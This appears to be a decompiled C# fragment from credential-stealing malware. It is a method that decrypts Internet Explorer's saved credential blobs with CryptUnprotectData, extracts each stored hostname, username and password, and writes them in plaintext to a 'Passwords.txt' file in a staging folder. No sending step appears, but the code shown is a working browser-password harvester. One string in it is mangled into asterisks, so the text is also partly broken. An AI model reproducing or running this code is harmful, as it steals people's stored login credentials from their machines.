private static extern bool CryptUnprotectData(ref Internet_Explorer.DATA_BLOB pDataIn, int szDataDescr, ref Internet_Explorer.DATA_BLOB pOptionalEntropy, int pvReserved, int pPromptStruct, int dwFlags, ref Internet_Explorer.DATA_BLOB pDataOut);
// Token: 0x060000B9 RID: 185 RVA: 0x00009020 File Offset: 0x00007220
public static void DecryptCredential(string sURL, string sHash, int Length, byte[] data)
{
List <string[]> list = new List <string[]>();
Internet_Explorer.DATA_BLOB data_BLOB = default(Internet_Explorer.DATA_BLOB);
Internet_Explorer.DATA_BLOB data_BLOB2 = default(Internet_Explorer.DATA_BLOB);
Internet_Explorer.DATA_BLOB data_BLOB3 = default(Internet_Explorer.DATA_BLOB);
Internet_Explorer.StringIndexHeader stringIndexHeader = default(Internet_Explorer.StringIndexHeader);
Internet_Explorer.StringIndexEntry stringIndexEntry = default(Internet_Explorer.StringIndexEntry);
IntPtr intPtr = Marshal.AllocHGlobal(Length);
Marshal.Copy(data, 0, intPtr, Length);
data_BLOB.cbData = Length;
data_BLOB.pbData = intPtr;
data_BLOB3.cbData = (sURL.Length + 1) * 2;
data_BLOB3.pbData = Internet_Explorer.VarPtr(sURL);
if (Internet_Explorer.CryptUnprotectData(ref data_BLOB, 0, ref data_BLOB3, 0, 0, 0, ref data_BLOB2))
{
IntPtr ptr = new IntPtr(data_BLOB2.pbData.ToInt32() + (int)Marshal.ReadByte(data_BLOB2.pbData));
stringIndexHeader = (Internet_Explorer.StringIndexHeader)Marshal.PtrToStructure(ptr, stringIndexHeader.GetType());
if (stringIndexHeader.dwType == 1 && stringIndexHeader.dwEntriesCount >= 2)
{
IntPtr ptr2 = new IntPtr(ptr.ToInt32() + stringIndexHeader.dwStructSize);
IntPtr intPtr2 = new IntPtr(ptr2.ToInt32() + stringIndexHeader.dwEntriesCount * Marshal.SizeOf <Internet_Explorer.StringIndexEntry>(stringIndexEntry));
int num = 0;
while ((double)num < (double)stringIndexHeader.dwEntriesCount / 2.0)
{
if (num != 0)
{
ptr2 = new IntPtr(ptr2.ToInt32() + Marshal.SizeOf <Internet_Explorer.StringIndexEntry>(stringIndexEntry));
}
stringIndexEntry = (Internet_Explorer.StringIndexEntry)Marshal.PtrToStructure(ptr2, stringIndexEntry.GetType());
IntPtr ptr3 = new IntPtr(intPtr2.ToInt32() + stringIndexEntry.dwDataOffset);
string text = Marshal.PtrToStringAuto(ptr3);
ptr2 = new IntPtr(ptr2.ToInt32() + Marshal.SizeOf <Internet_Explorer.StringIndexEntry>(stringIndexEntry));
stringIndexEntry = (Internet_Explorer.StringIndexEntry)Marshal.PtrToStructure(ptr2, stringIndexEntry.GetType());
ptr3 = new IntPtr(intPtr2.ToInt32() + stringIndexEntry.dwDataOffset);
string text2 = Marshal.PtrToStringAuto(ptr3);
string[] item = new string[]
{
sURL,
text,
text2,
"Internet Explorer"
};
list.Add(item);
Math.Max(Interlocked.Increment(ref num), num - 1);
}
}
string str = Program.path + "\\";
foreach (string[] array in list)
{
Directory.CreateDirectory(str + array[3]);
using (StreamWriter streamWriter = new StreamWriter(str + array[3] + "\\Passwords.txt", true))
{
streamWriter.WriteLine(string.Concat(new string[]
{
"\n[PASSWORD]\nHostname: ",
array[0],
"\nUsername: "******"\nPassword: ",
array[2]
}));
}
}
}
}